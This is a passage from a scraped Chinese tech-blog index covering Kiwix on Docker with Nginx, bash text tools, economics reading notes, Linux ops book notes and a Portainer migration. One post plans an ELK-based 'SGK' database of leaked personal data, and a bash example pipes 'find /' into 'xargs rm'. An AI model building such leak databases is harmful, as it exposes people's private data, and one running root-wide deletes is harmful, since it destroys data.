这里直接上Docker，忽略所有的麻烦的环境问题了。kiwix-serve，但是很坑的是，为什么做好的镜像，没有对应的说明，所以使用只能靠自己来摸索。\n这里就是很熟悉的语法，进行卷挂载，这里app默认的目录是 /data，启动的参数在后面，指定的是 zim 的文件。之后就OK啦\ndocker run -p 32768:80 -v /volume1/DataBank/Wiki/zims/:/data --name=\u0026#34;kiwix-server\u0026#34; kiwix/kiwix-serve wikipedia_zh_all_novid_2018-07.zim 运行效果，界面就OK了： 最后穿透 一样是使用frp来实现反代，Nginx的反代配置。\nserver { listen 443 ssl; server_name wiki.diglp.xyz; ssl_certificate \u0026#34;/etc/nginx/ssl/_.diglp.xyz/_.diglp.xyz_chain.crt\u0026#34;; ssl_certificate_key \u0026#34;/etc/nginx/ssl/_.diglp.xyz/_.diglp.xyz_key.key\u0026#34;; ssl_session_cache shared:SSL:1m; ssl_session_timeout 10m; ssl_ciphers HIGH:!aNULL:!MD5; ssl_prefer_server_ciphers on; location / { proxy_set_header host $host; proxy_ignore_headers set-cookie cache-control; #这句代码很关键，尤其要忽略set-cookie auth_basic \u0026#34;Is You?\u0026#34;; auth_basic_user_file /etc/nginx/.htpasswd; proxy_set_header x-real-ip $remote_addr; proxy_set_header x-forwarded-for $proxy_add_x_forwarded_for; proxy_set_header x-forwarded-proto https; client_max_body_size 100m; proxy_pass http://127.0.0.1:1111111; } } reload之后，直接就生效了，然后在本站上直接配置了链接。Done\nFix 使用referer限制直接访问 这里使用Nginx的配置，对referer进行限制，避免直接访问，造成不必要的麻烦。\nvalid_referers blocked www.diglp.xyz blog.diglp.xyz ray.i124u.cf; if ($invalid_referer) { return 403; } 通过对referer 的限制实现对访问的过滤。\nht文件的直接deny location ~/\\.ht { deny all; } 后续 在原有的部署基础上，解决了几个问题\n使用 basepath 进行访问 使用basepath进行访问，这样就不需要一个新的域名了。在启动参数中使用 -r 来进行指定。这里使用-r wiki 来实现basepath 的设置。\n搭配 nginx 来进行规则转发\nlocation ^~ /wiki/ { auth_basic \u0026#34;Please input password\u0026#34;; auth_basic_user_file /etc/nginx/conf.d/.htpasswd; proxy_pass http://127.0.0.1:32768; } 使用 library 如果不使用 lib文件的话，一次启动只能指定一个zim库，很不爽，所以这里使用生成的lib来进行配置，这样可以同时使用多个 zim库。\n#!/bin/bash FILES=./*.zim LIBRARY_PATH=./library.xml for f in $FILES do echo $f ./kiwix-manage $LIBRARY_PATH add $f done ","date":"2019-06-02T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/06/2019-06-02-%E6%9C%AC%E5%9C%B0%E7%BE%A4%E6%99%96%E6%90%AD%E5%BB%BA%E7%A6%BB%E7%BA%BFwiki/","tags":null,"title":"群晖NAS搭建离线wiki -- 基于Docker"},{"categories":null,"contents":"这里，在一下午的时间，来熟练掌握BASH下的大杀器，AWK，GREP，SED，VI，XARGS，等等的使用方法。来极大的提高在bash下的生产力，之前说是开专题，开到现在算是有了个头了。\nsed stream editor ，在linux极为突出的文字处理器。通过管道对数据进行处理。sed的经典应用：\n自动编辑一个或多个文件 简化对多个文件的反复编辑 编写转换程序 sed 的工作原理，是对输入的行进行缓冲，之后使用模式匹配，来进行操作，完成之后再把数据送往屏幕。其基本的语法如下：\nsed [option] \u0026amp;#039;command\u0026amp;#039; file(s) 在sed里面，操作被抽象为一个操作符比如进行文本替换则使用的是s，那么得到的command是s/aaa/bbb 这里的/是定界符，可以为任意字符。\u0026rsquo;d\u0026rsquo;来删除指定字符串sed '/sk/d'，\n在sed的表达式组合sed '表达式' | sed '表达式,\u0026lsquo;等价于：sed '表达式; 表达式'\nAWK 用于，在shell中进行文本和字符串的处理。十分的方便，特别使在一些格式化提取的情境下。应用场景如下:\n格式化的文本提取 执行编程 \u0026hellip; 这里里，先学习比较低阶的操作了。基本语法：\nawk [options] \u0026amp;#039;script\u0026amp;#039; var=value file(s) 可以使用 -F 来指定分隔符，示例如下：\nawk -F: \u0026amp;#039;print $1;print $NR\u0026amp;#039; /etc/passwd 简单的模式-过程实例\n{print $1} 打印第一个参数 /pattern/ 打印匹配正则的行 {print NF} 当前的域数目Colum $1 ~ /xxxx/ {print $3, $2} 在第一个域匹配的时候，交换 2，3域 /pattern/ {++x} END {print X} 打印出所有匹配行数的总和 {print(length($1))} 打印一列参数长度 awk的常用函数，length，print，tolower，toupper\u0026hellip;etc.\nGREP grep 作为常用的字符串的查找指令，除了直接的 ps -ef | grep xxx 还是有很多妙用的，\n-c 显示内容的计数 -v 反向匹配，即不显示匹配行 -n 显示行号 \u0026lsquo;^u\u0026rsquo; 正则匹配，显示u开头的项 \u0026lsquo;^[^u]\u0026rsquo; 显示非u显示的项 \u0026lsquo;u$\u0026rsquo; 同样的以u结尾 XARGS 由于很多的命令实际上是不支持的，所以就需要使用xargs把管道的输入数据作为执行的命令的参数。使用命令，这个是错误的：\nfind / --name \u0026amp;quot;124\u0026amp;quot; | rm 所以需要使用xargs 来实现\nfind / --name \u0026amp;quot;123\u0026amp;quot; | xargs rm 下面是一个综合的使用案例\nps -ef| grep frp | awk \u0026amp;#039;NR==1{print $2}\u0026amp;#039; | xargs kill ","date":"2019-06-01T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/06/2019-06-01-killer-of-bash/","tags":["bash","linux"],"title":"Killer of Bash"},{"categories":["读本好书"],"contents":" 什么是经济上的公平？规则是不公平的那么它就是就是不公平的。所以我们有了财产私有，和通过物品交换来获得财产的唯一规则。看似公平的原则，却导致了相当不公平的结果，普通人赚的少，总裁一年却有百万的收入。所以有了如果结果不公平，那么他就是不公平的规则。导致了所谓的大取舍（big tradeoff）。\n去从原理出发去了解现象，是一件很有趣的事情。\n正文 基础 我们物理完全满足自己的需求，这个被称为稀缺性（scarcity）。 经济学（economics）是一门研究个人，企业，政府及整个社会对稀缺性做出的选择以及研究影响和协调这种选择所作出激励的社会科学。 胡萝卜大棒理论 收入和支出是循环流动的，在没有政府调控的模型下，由家庭，产品市场，企业，要素市场组成。\n两类市场：产品市场和要素市场。 几个常用的数据曲线，生产可能性边界（PPF production possibilities frontier），有效率和无效效率生产。当所有的资源都被有效的使用的时候。即在PPF上进行生产的时候。所以当没有在PPF上进行生产的时候，是存在世界上免费的午餐的。\n机会成本可以理解在PPF上的曲线的切线，即斜率。比如在生产平衡的时候，每改变1百万电话的产量，DVD 的产量将会上升10万。机会成本是一个比例，当改变一个类型的产量引起另一个的变化的比例，经济增长带来了生产水平的提升带来了PPF 的曲线的外移。\n如果一个人可以使用更低的成本来从事某一项活动，称为是在此活动中的比较优势。通过贸易实现了。书中使用使用奶昔的合作举例，使用我们的较低的机会成本来进行合作，发挥出彼此的优势。从而实现贸易的双赢\n供需 供给和需求是驱动市场的力量，\n需求法则：在其他因素不变的情况下，如果价格上升则此产品的需求减少，反之需求量增加。 供给法则：在其他因素不变的情况下，如果价格上升则此产品的供给减少，反之供给量量增加。\n有了上面的两个法则之后，得到的结果是市场的很好平衡，\n市场均衡 供给和需求平衡 均衡价格 需求和供给平衡时的价格 均衡数量 交易数量的平衡 正如国富论中，亚当史密斯所说的，市场是有一只无形的大手。在偷偷的调节着一切。在平衡状态之外，有\n短缺（shortage）或者超额需求（excess demand） 过剩（surplus）或者供应过剩（excess supply） 以平板电视的价格为例，在2000年在20000美元，到了2007年只需要2000美元。价格的迅速下降是来自于供给的大量增加。供应曲线右移，价格降低。较低的价格导致了需求的增加。\n市场 需求价格的弹性和非弹性，需求量随着价格变化而变化，称之为弹性。 当一个很小的价格变化引起了极大的需求量变化，那么就是完全弹性需求。而如果无论价格怎么改变，需求都不会发生太大变化，则称为是完全无弹性的。比如，成瘾和嗜好，比如治疗癌症的药物。\n弹性供给，较之需求相反，对于生产来说，制作芯片的硅来讲，机会成本基本不变，所以硅的供应是完全有弹性的。\n效率以及公平 由于资源的稀缺性，所以需要通过竞争来进行资源的配置。市场中的交易知识资源配置的方法之一。常见的资源配置方法有：市场价格，命令，多数原则，竞争，先到先服务，平等配置，抽奖，个人特性，强权。\n命令：也就是计划经济，通过政府对资源进行控制，这样可以十分清除的看清其内部运作。但是监控的规模太大，权威人士很容易被骗。（现在的朝鲜和古巴）\n强权：在进行稀缺资源配置的时候，有决定性作用，比如战争，殖民，对财产的大肆虐夺，偷窃。但是，强权在善面上也有着积极的作用，比如通过强权可以使得财富从富人手上转移给穷人。\n在PPF的曲线边界，是实现了资源的充分利用，只有使得供给曲线，在交叉点的人时候，才实现了资源的有效配置。\n消费者剩余:当购买产品的价格小于该产品对他们的价值的时候，这便是消费者剩余。而当其价格大于了边际成本的时候，企业则获得了生产者剩余。\n市场的配置是否有效率，就取决于总剩余量。由于剩余可以理解为这次交易对消费者，或者对企业的主观有利的部分，（希望买到便宜的，希望产出的买的贵），所以尽可能地配置使得市场地剩余最大，便是这个最有效率地市场。\n购买者和销售者都尽力为自己谋利，同时，没有任何人会为整个社会有效率产出而制定计划。没有人为社会利益担心，购买者追求尽可能低地价格，销售者追寻最高地售价。在买卖两方各自追求自己的利益的时候，惊人的结构发生了，那就是促进了社会的利益。\n生产不足，导致了商品的稀缺性上升，虽然其售价会上升，但是由于其需求的不足，导致了市场的低效率。（一部分人买不到合适的价格，这一部分就是无谓损失）。\n当过度生产之后，物品的售价低于了边界成本，虽然量大，但是导致了市场的无谓损失。\n可以通过 价格限制，生产配额，税收补贴，外部性，垄断，高成本交易，来阻碍市场效率。\n什么是经济上的公平？规则是不公平的那么它就是就是不公平的。所以我们有了财产私有，和通过物品交换来获得财产的唯一规则。看似公平的原则，却导致了相当不公平的结果，普通人赚的少，总裁一年却有百万的收入。所以有了如果结果不公平，那么他就是不公平的规则。导致了所谓的大取舍（big tradeoff）（效率和公平之间的取舍）。\n为了实现市场的公平性，有的时候需要降低效率。：要使得驶入从高收入群体流向低收入群体，只有通过对收入征税实现。\n政府对经济 税负分摊，政府有了税收，税收可以理解为在消费者剩余和生产者剩余之间的楔子。税收使得价格提高，消费者卖的贵，生产者买的少，所以此处的市场无效率的，税收导致了无谓损失。\n在完全缺乏弹性的需求里面，购买者支付全部税收，是有效率的。因为价格的变化对需求是没有影响的。反之，在完全无弹性的供给里面，销售方支付全部的税收时候是有效率的，因为价格的变化不会导致销量的变化。\n价格上线和价格下限，分别类比到租房市场，和最低工资。租金上上限，导致了住房的供应量的减少，从而导致了住房供应的短缺。这样有了黑市，和寻找活动的增加。在没有租金上线的时候，供需平衡，显然是有效率的，但是有了最高的组租金，导致了无谓损失。\n所以租金上线导致了资源没有流向最高价值的用途。在公平性上是否有提升呢？使用这种手段来配置稀缺猪粪资源，如果把减少的生产者剩余分配给穷人，那么就是公平的。但是实际上这种分配机制不一定是最好的。\n价格下限，在这里是通过最低工作体现，由于设定了最低工资，那么企业对工人的数量需求会减少，这样会导致失业，导致非法雇佣，和寻找工作的活动增加。最低工作使得企业剩余和工人剩余都下降，导致了工人失业，企业超过边缘成本的无谓损失。\n那么最低工资公平吗？在两个公平观点来看，他是不公平的，导致了工人失业的不公平的结果，由于工资率不能配置工作，所以规则也是不公平的。虽然无效率，在最低工资率中找到工作的人能够受益。\n在农业市场上设置价格下线称为价格支持。在这种情况下，政府使用补贴，了补偿他们部分的生产成本。\n如果国家设定价格下线，在这时候如果生产量大于需求量。如果农民在市场上进行倾销，这样的话，价格会下降到民众意愿价格为止。所以，政府会以支持价格进行回购，农民收益。但是，价格支持是无效率的，边际成本大于了编边际收益，最终，得到的是（国家的损失）纳税人的损失。\n全球市场 比较优势是驱动滚及满意的基本力量。美国进口T恤衫，美国出口飞机。受到损失的是美国的纺织业，受到了境外的低价的冲击，而发展中国家活动更多的工作机会，以及更高的收入。\n为了减少全球化经济对本土经济的冲击，有四种工具：关税，配额，其他进口壁垒，出口补贴。\n关税（tariff）给政府提供了可观的收入，将减少贸易收益，实际上不符合社会利益。商品价格提高，购买数量下降，本地生产提高，进口数量减少，关税收入提高价格提高生产者受益，消费者受损，消费者损失大于生产者收益。\n贸易保护的三个理论，国家安全论，幼稚工业论，倾销论。\n使用“干中学”来使得本土的新兴企业可以有得国际竞争力。如果是向保护企业来促进生产，则会导致无效的生产剩余。\n倾销：掠夺性定价，定价低于成本，之后垄断市场，之后再提高价格。（但是更高的价格意味着新的竞争者）所以这种倾销不一定存在；补贴，政府给生产者以补贴，使得可以使用成本价格进行销售。比如补贴本土的农业，再国际上倾销剩余，削弱了境外市场的积极性。\n贸易保护的目的：保护本土的工作岗位，可以同廉价的外国劳动力竞争，带来多样性和稳定性。\n完全竞争 完全竞争下的利益最大化，以及暂时性停业。\n博弈论 纳什均衡，每个选手最佳的可能行动。\n双寡问题下会存在者双寡困境。比如，百事可乐可口可乐之间的广告博弈。\n宏观经济 GDP来衡量总产出。生产价值，所有的商品的价值综合，国内生产总值(gross domestic product)，由 Y=C+G+I+NX 消费支出，投资，政府购买产品与服务。\nGDP反应的是人们的生活水平，直接反应出。扩张期，鼎盛期，衰退期和低谷期。较之类似的有 HDI 人类发展指数。\nCPI消费者价格指数，简单理解为消费者平均消费的总价以及占比。从此来看出生活成本，以及通货膨胀。\n比如在1907年邮票为2美分，在2007年为41美分。根据数据在1907年的CPI是10，在2007年为207.2，207.2/10=20.72，2*20.72=41 刚好就是我们的支付的价格。所以CPI反应的是物价的变化比例。可以理解为一动不动的物价上涨。\n在计算名义GDP和实际GDP需要考虑CPI的增长，也就是给GDP气球放气。同样的有了CPI可以实现名义工资率和实际工资率。\n使用CPI，如果CPI到2028年每年上升3%，贷款利率固定为5%，那么每次100美元，实际支付的钱实际上是每年下降的。在2018年100美元实际上是74美元，在2028年就变成了55美元。所以时间越长还款越少。实际的利率是每年2%~5%名义利率减去3%的通货膨胀率。\n货币 货币是指作为支付手段被普遍接受的任何商品或者标准。货币的三个要素：商品或符号，普遍接受，支付手段。货币的三个基本职能：交易媒介，计价单位，价值存储。\n由于在传统的实物交易里面，需要使得双方交互的物品符合双方的意愿，所以如果有了货币的存在，作为交换之间的润滑剂，使得交易更加的顺滑。\n法币，法定货币。（fiat money）包括现金，存款。美钞即所谓的现金，每张美元上面写着“这张钞票是所有公共和私人债务的合法清偿手段”。但是。银行中的现金不是货币。银行取钱把存款变成现金，其货币总量是没有改变的。所以如果银行的现金被计入货币的话，即计入两次。\nM1 和 M2，\nM1 包括现金，旅行支票，以及个人和企业的支票存款 M2 包括M1加上储蓄存款和小额定息存款，金融市场资金和其他存款。 M1 可以被普遍接受作为支付手段，但是M2不是，M2的量是M1的7倍+。\n银行系统 银行系统分为商业银行，储蓄机构，货币基金市场。\n商业银行的目的，为通过向存款人借款并以高利息的长期贷款方式努力使其股东财富最大化。联邦银行要求必须持有占其存款的某个最低的比例的储备，比率为法定准备金率。\n储蓄机构，储蓄银行，和信用合作社。基金市场使指出售股份来筹集资金。\n美联储的政策工具：法定准备率，贴现率，公开市场业务。\n","date":"2019-05-30T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/05/2019-05-30-%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0%E7%BB%8F%E6%B5%8E%E5%AD%A6%E5%8E%9F%E7%90%86/","tags":null,"title":"读书笔记《经济学原理》"},{"categories":null,"contents":"什么是正义呢，\n如果，有一个公司，它做了坏事，那么它可恶吗？你希望它消失吗，破产吗？\n如果，这个公司的门卫，只身一人在这里上班，有两个孩子依靠着微薄的收入，自己还生着重病，这个公司好心留下了他。\n那么，现在你还希望这个公司消失吗？\n群众的眼睛是雪亮的？恰恰相反，群众是无知和愚昧的代表，是极其容易被煽动和颠覆的。\n群众只担心眼前的，直接触及到自己利益的事情，对自己所不知道的东西，妄加评论，积极否认。\n数量即是正义\n","date":"2019-05-25T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/05/2019-05-25-%E6%95%B0%E9%87%8F%E5%8D%B3%E6%98%AF%E6%AD%A3%E4%B9%89/","tags":null,"title":"数量即是正义"},{"categories":null,"contents":"前 突然有一个点子，自己搭个SGK，数据库用 ES 实现，尽可能地减少数据清洗过程中的麻烦。\n参考内容：\nELK搭建社工库 ","date":"2019-05-10T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/05/2019-05-10-%E5%9F%BA%E4%BA%8Eelk%E7%9A%84sgk/","tags":null,"title":"基于ELK的SGK"},{"categories":null,"contents":"偶然在 AppStore 上发现了这么一个应用，就是Wordpress。\n果断就下载安装了，体验感惊人的好，应用截图如下，简洁大方，功能丰富，以后可以躺着码字了，挺好的。力荐\n这个 post 就是直接使用移动端来发布的，由于不能使用markdown，格式可能和之前有些不同，不过，极大的方便了发布。真的很赞，也很易用\nprint a new Cna\n","date":"2019-05-09T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/05/2019-05-09-tips-wordpress%E7%9A%84%E7%A7%BB%E5%8A%A8%E7%AB%AF/","tags":null,"title":"Tips Wordpress的移动端"},{"categories":["每周分享"],"contents":"\u0026ldquo;请说出你的网络编号?\u0026rdquo; 话筒里传来的声音并不急噪,事实上它也不带其他任何的感情色彩,因为这是电脑合成的人工智能语音系统。 那么这个网络编号是多少呢，去看看吧\n前 首先，很高兴，你进来了，说出了网络代码，这便是我们的共识。\n这一周，是波澜的一周，是大局宏观的波澜，也是我内心的波澜。总之，这周写下自己的点点的想法。我们每个人的心中，都被烙上了整本的《健康词汇列表》，想？能？\n事件 关于毛衣战的内容，先否定的是，（大经济学家的戏谑的称为），当然我不是专门研究经济的，但是我不认为这些东西和我们没有任何关系，了解他绝不是杞人忧天。而是使得自己在这乱流中保持那么一点点少见的清醒罢了。追求其理，实际上是很开心的事情。\n事情从一张图开始是在 5-05 看咨询的时候突然更新的消息。内容如下breaking 简而言之就是 200G 的货物的税由原来的 10% 上调至 25%，在本周五。消息一出，第二天就可以看到市场的极大的恐慌。就是在本周五将会执行，\nTrump 的推上也直接更新了内容，再一次确定了事实情况 后面，各大党媒都分发发文如下，内容可用自己去看看了。 USD to CNH，随之拉升（+0.78%），数据来源 tradingview （提税，那么国家会通过货币贬值的方法，来变相的绕过提税） 后面会发生什么？真的不知道。这不是贩卖恐慌。因为总觉得，这是个不一样的时代。\n和平精英。。。 后面的三个省略号，包含了无数个为什么。下面以一段吐槽，除了吐槽的内容，描述的游戏内容基本就是这样的。 可能是刚刚好看了前面的的那个小说，不由得联想，我的今后真的会像文章中写的那样和谐吗？这种东西，刚刚出现的时候人们可能会觉得很可笑。但当后面慢慢的熟悉了之后，就忘记了原来的游戏是那么“不和谐” 的事实了吧。 （想写点其他的东西，找机会吧。）\nPICKs kiwix \u0026ndash; 搭建属于自己的Wiki(技术手册) TECH 树莓派上安装Pi-hole搭建DNS服务器，过滤网页广告 你平时在使用 Git 团队协作中经常使用哪些术语？ 学点黑话，至少不懵逼 tloxygen - 超值建站套餐 ","date":"2019-05-09T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/05/2019-05-09-weekly-7/","tags":null,"title":"weekly.7"},{"categories":["每周分享"],"contents":"前 如果一台服务器正在运行,但是没有客户端,那么他真的在运行吗\n这本书是前面的那本的后续，感觉第二卷没卷一那么精彩了，里面自己接触到的有用的东西没有那么多了。\n快速禁止所有用户登陆 touch /etc/nologin 这样只能从本地的 SSH 进行登陆了\nScreen 很好的工具，用着用着到没用上了，这里复习一下。\n给screen 而不是shell 发送命令的组合键是 ctrl+A，命令查询使用 ctrl+A+?。 使用 screen -S \u0026lt;name\u0026gt; 来打开一个命名会话。使用 screen -r \u0026lt;name\u0026gt; 来实现会话的恢复。\n使用 script 进行录屏 使用 script 来进行命令行的录屏，可以记录和显示所有的键入操作。 使用 script -t 2\u0026gt;rec 来开始一个 script 的记录会话。使用 -t 重定向时间输出到标准错误，并且重定向到 rec文件。开始录制，录制过程使用 exit 来进行退出。\n当需要进行回放的时候，使用 scriptreplay rec 来进行一系列操作的回放。\n快速编译 为了尽可能多的使用CPU资源，make -j 指定编译进程数的时候，数值一般为CPU数量的两倍加1。\nsysctl 使用 sysctl 来快速的进行内核的参数设置，应避免直接和/proc进行交互。/proc/sys 下面的为sysctl 的接口。 使用 sysctl -a 查看所有的可用设置。\n后 没错这次就是这么短，感觉干货没有卷一次那么多了，所以就是找了自己觉得有用的部分来记了下来。可能大多数都是没有接触到的，或者有些老了的技术吧。\n","date":"2019-05-06T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/05/2019-05-06-%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0linux-server-hacks%E5%8D%B7%E4%BA%8C/","tags":["book","linux"],"title":"读书笔记《Linux Server Hacks》卷二"},{"categories":["读本好书"],"contents":"前 工欲善其事，必先利其器\n发现有时候看看书很是很专注的。多读读书，不知不觉学到的还是挺多的。这里偶软遇到一句话，记下来：\n我觉得，他的人生非常令人羡慕。不是因为取得的成就，而是因为每个人生阶段，他都在干不一样的事情：年轻时是程序员，中年时是科学家，老年时是新能源企业家。美国总统特朗普也是这种情况：年轻时是房地产商，中年时变成电视明星（《学徒》一口气拍了十季），老年时变成了总统。人生就好像一次旅行，不同时期能够从事不同的领域，就好像看到了不同的风景，体验了不一样的人生。\n简介 书名：Linux运维最佳实践 作者：胥峰 杨俊俊 ISBN：9787111545682 这本书里的内容，可以说是干货满满了，涉及到了平时业务里面可能会遇到的方方面面的东西，从服务优化，到高可用内容。\nDNS 禁用域名的递归查询。 使用域名解析缓存 BIND CDN CDN 需要的两个关键技术，DNS视图技术 和 缓存和代理技术。CDN的经典的架构，由 Squid实现内容缓存，使用 Nginx 进行代理，最后使用 LVS 来对不同主机进行负载均衡。\nCDN 的响应头里面包含了CDN的部分的信息，字段为 Last-Modified，ETag，Expires,Cache-Control。ETag作为资源的ID，不同的缓存副本的不同。Cache-Control可以理解为缓存的有效时间。\n防盗链的配置 一般的防盗链有两种办法，\n使用 Http Referer，判断是否referer为本站 使用动态链接，在静态资源的后面加上key动态字段。 location ~ .*\\.flv { vaild_referers none blocked *.woyo.com; if ($invaild_referer) { rewrite ^/(.*) https://err.i124u.cf/$1; } } 书中直接使用 squid 实现防盗链，使用 perl\n视频点播CDN的实践 这里是点播，区别于直播，点播文件是开始便存在的。系统一共有四大模块：\n同步源站服务器 所有的视频文件都在，实现给缓存服务器提供同步 视频源站服务器 当缓存服务器没有 HIT 的时候，提供源站的视频访问。 视频转发服务器 对URL进行多个节点之间的分发。 缓存服务器 提供视频内容的缓存 大规模下载调度系统 比如游戏客户端下载这个场景下的问题。特别是在游戏的新版本的当天，整个的出流量是很大的。\n处理的关键就在于使用CDN，对静态内容分发到不同的节点之上。\n负载均衡以及高可用 LB 和 HA，也是重要的技术。\n数据链路层负载均衡 数据链路层位于OSI的第二层，所以可以理解为物理硬件上的均衡，也就是网卡上的负载均衡。使用多块网卡，对流量进行分流，实现更高的单机的吞吐量。\n4层LB 传输层位于 OSI 的第四层，所以也是四层的 负载均衡，包含了TCP和UDP协议，那么本质上，是对这些 TCP 连接或者UDP 的包，在不同IP的均衡主机之间进行分发。\n特点：\n模型简单，和业务逻辑无关 协议简单，吞吐量大 应用广泛，所有的互联网应用都可 七层LB 第七次又是应用层，又可被称为内容交换。最常见的就是 Nginx 的实现的 七层的负载均衡，也就是我们的 proxy_pass, upstream ，\n特点：\n模型复杂度高 需要对协议内容进行分析，比如提取 Host 吞吐量小 对后台可以进行精细化控制 基于 DNS 的负载均衡 配置简单，直接对同一个 二级域名配置多个 A记录 即可。问题是，DNS缓存问题，导致了服务器切换时间变长。\n基于重定向的负载均衡 根据服务状况，直接在前端内容对请求站点进行重定向。\n客户端特性的负载均衡 Nginx 的hash分流 Mysql 的读写分离 高可用 实际上负载均衡里面已经包含了部分的高可用的思想，down掉的负载主机实际是不再进入轮询的。 书中推荐基于VRRP的 keepAlived，前面自己已经有了篇文章讲这个的。\nLVS LVS（Linux Virtual Server），这个是个狠东西，是一个 四层负载均衡的方案。完整的负载均衡器和后端服务器一起组成了这个虚拟服务器，用户是不可感知的。\nLVS 的三种模式 这个感觉已经是老问题了；LD-NAT，LD-DR，LD-TUN 。但是总是感觉自己理解的有点隐隐约约，所以这里就好好的复习一下。\nNAT 就可以理解我我们平时使用的NAT模式，有一个主机来提供了一个子网，后端服务器都在子网当中，负载均衡器负载收到请求，分发请求，接收后端回复，返回客户端，所以负载均衡器这里的单点的压力可能会代理瓶颈，架构理解为 叉子一样。\nDR（Direct Routing）直接路由，这个模式，解决了上面的单点的问题，多个负载均衡器使用 一个 VIP，客户端请求VIP，均衡器收到了请求数据之后，修改MAC地址，为接收数据的后端主机，（转发给了后端主机），后端主机处理完成之后，直接回复给 Client ，这样的话数据就不需要回源到均衡器。降低了节点的负担。\nTUN，是LVS的一种原创的转发方式，负载均衡器不是直接进行转发，而是封装成了 IPIP数据包，之后再发给后端服务器。（IPIP可以理解为VPN一样的一个隧道协议），这样的话使得后端主机不需要和均衡器（关键是客户端）在一个子网，大大提高了安全性\nLVS是一个非常重要的技能，后面自己再深入学习！\nHAProxy 可以四层也可以七层负载均衡的老牌软件，比LVS的特性是更加的优良，一般结合KA，实现高可用的负载均衡。\nNginx 的反代和LB 用的有点多了，一些内容直接跳掉吧。\n监控采集可以直接使用内部功能：\nlocation /ngx_status { stub_status on; access_log off; allow 127.0.0.1; deny all; } 常见问题 400 如果正常请求出现 400，一般是请求header过大 client_header_buffer_size 16k; 413 文件上传过大，这个遇到过 client_max_body_size 10m; 499 客户端主动关闭连接 502，503 一般是 upstream 出问题了，无法连接 504 一般是 upstream 超时了，连接成功，没有回应 高性能web站点 缓存，前面已经加了好多次了，通过nginx的cache 功能，本站已经如此实现。 压缩，使用 Gzip，一样一件实现。用来降低流量，减少传输时间。\n减少Cookie携带 如果对于内容请求每次都从主站拉取，这样每次请求就携带大量的cookie内容，导致了无用的带宽浪费，可以把静态资源定向到旁站。\n监控 日志监控 可用性监控 性能监控 安全 WAF OSSEC 硬件 RAID RAID10 性能最好容错最好，问题是容量损失 2/3 RAID6 最多坏两块盘 RAID5 容量损失最小，最多允许怀一颗盘 网络分析技术 Tcpdump tcpdump，不需要使用协议栈，直接在内核的层面对报文进行抓取，所以可以抓取到被iptable在INPUT链上被Drop的包\n常用的五个参数\ni 指定网卡 nnn 禁用已知转换 s 指定抓取的包大小 -s 0 大小为 262144 保证包内容不被截断 c 抓取包的数量 w 指定保存的文件 常用过滤器\nhost x 指定通信主机 tcp port x 指定TCP目的端口或源端口 icmp 仅抓取ICPM ! 反向匹配，不抓取 port ! 22 and or 规则组合 后面结合 wireshark 来个网络专题\n运营商劫持 这个问题，之前纳闷。书中看了才明白，营运商本身为了减少自己的流量开支（骗客户的钱），把用户的流量导流到旁路设备之上，来节约自己流量。\niframe的广告插入，因为http为明文，所以很容易的进行内容的注入。\n后 重点重复学习法，看书越看越舒服。\n重温了很多东西， 看得出自己的一些进步，也发现自己的很多不足。后面要针对 网络（tcpdump，wireshark，iptable）进行专题加强，还有 shell 的专题脱了好久了。\n","date":"2019-05-05T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/05/2019-05-05-%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0linux%E8%BF%90%E7%BB%B4%E6%9C%80%E4%BD%B3%E5%AE%9E%E8%B7%B5/","tags":["book","ha","lb","linux","monitor","nginx","ops","proxy","web"],"title":"读书笔记《Linux运维最佳实践》"},{"categories":["每周分享"],"contents":"好文 为什么应该旗帜鲜明地批判加班文化\n所以你的工程师为什么每天看起来都在公司里摸鱼？因为他们实际上就是在摸鱼\n尊重心流，减少没有必要的加班时间。\n​慢慢的 就没有了 就像从未存在过\n一盏一盏的灯，灭了。四面八方的光源，消失了。我们生活的五光十色的世界，变成了一片黑色。 天黑了，那么睡觉吧，但愿长醉不复醒，卧槽泥马勒戈壁。 最后，我们变成了一群做梦的人，这个梦的名字，叫根据相关法律法规，相关搜索结果不予显示梦。\n农村包围城市：一部商业史\n\u0026ldquo;要么鲤鱼跃龙门，要么咸鱼跃楼下。 \u0026quot;\n寂静之城 (The Silence City)\n一篇小心翼翼的小说\nPicks Nginx开发从入门到精通 淘宝出的教程？？？好?\n博客聚合網站，前面有想着这样的一个东西\nIT牛人博客聚合 内存溢出 一个很好的免费拨测监控\nhttps安全评估网站\nTech 创业公司要减员，应该选择前端还是后端？ ","date":"2019-05-04T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/05/2019-05-04-weekly-6/","tags":null,"title":"weekly.6"},{"categories":["op之路","日记？"],"contents":"前情提要 由于自己的本地主机的情况发生了重大变化，本地的两主机小机器的使命算是完成了。所以，最后没办法不得不上云了。网站整体的内容和域名不作改变。 还好还好，基于 Docker 的部署，所以整体的迁移是相当相当的方便的。本来想着折腾好久要，最后发现，前前后后没到20分钟，就差不多搞定了，也顺便解决了之前部署中的一些BUG。这一篇，主要就是记录迁移过程中的各种操作，后面可以很方便的进行复用。\n过程记录 这里之间参考前面的文章，Docker集群搭建，直接部署portainer，有了可视化的管理前端。\nmkdir -p /opt/portainer docker service create \\ --name portainer \\ --publish 9000:9000 \\ --replicas=1 \\ --constraint \u0026#39;node.role == manager\u0026#39; \\ --mount type=bind,src=//var/run/docker.sock,dst=/var/run/docker.sock \\ --mount type=bind,src=//opt/portainer,dst=/data \\ portainer/portainer \\ -H unix:///var/run/docker.sock 服务器上nginx配置好反向代理。\nlocation ^~ /portainer/ { proxy_http_version 1.1; proxy_set_header Connection \u0026#34;\u0026#34;; access_log off; proxy_pass http://portainer/; rewrite ^/portainer/(.*)$ /$1 break; } 这里使用 traefik 实现内部的反向代理的功能，理由和之前一样，为了整体更加的和谐，和和系统的更加的兼容。这里就直接使用了。下面直接给出了compose：\nversion: \u0026#39;3\u0026#39; services: reverse-proxy: image: traefik command: --api --docker --docker.swarmMode --docker.watch --web ports: - 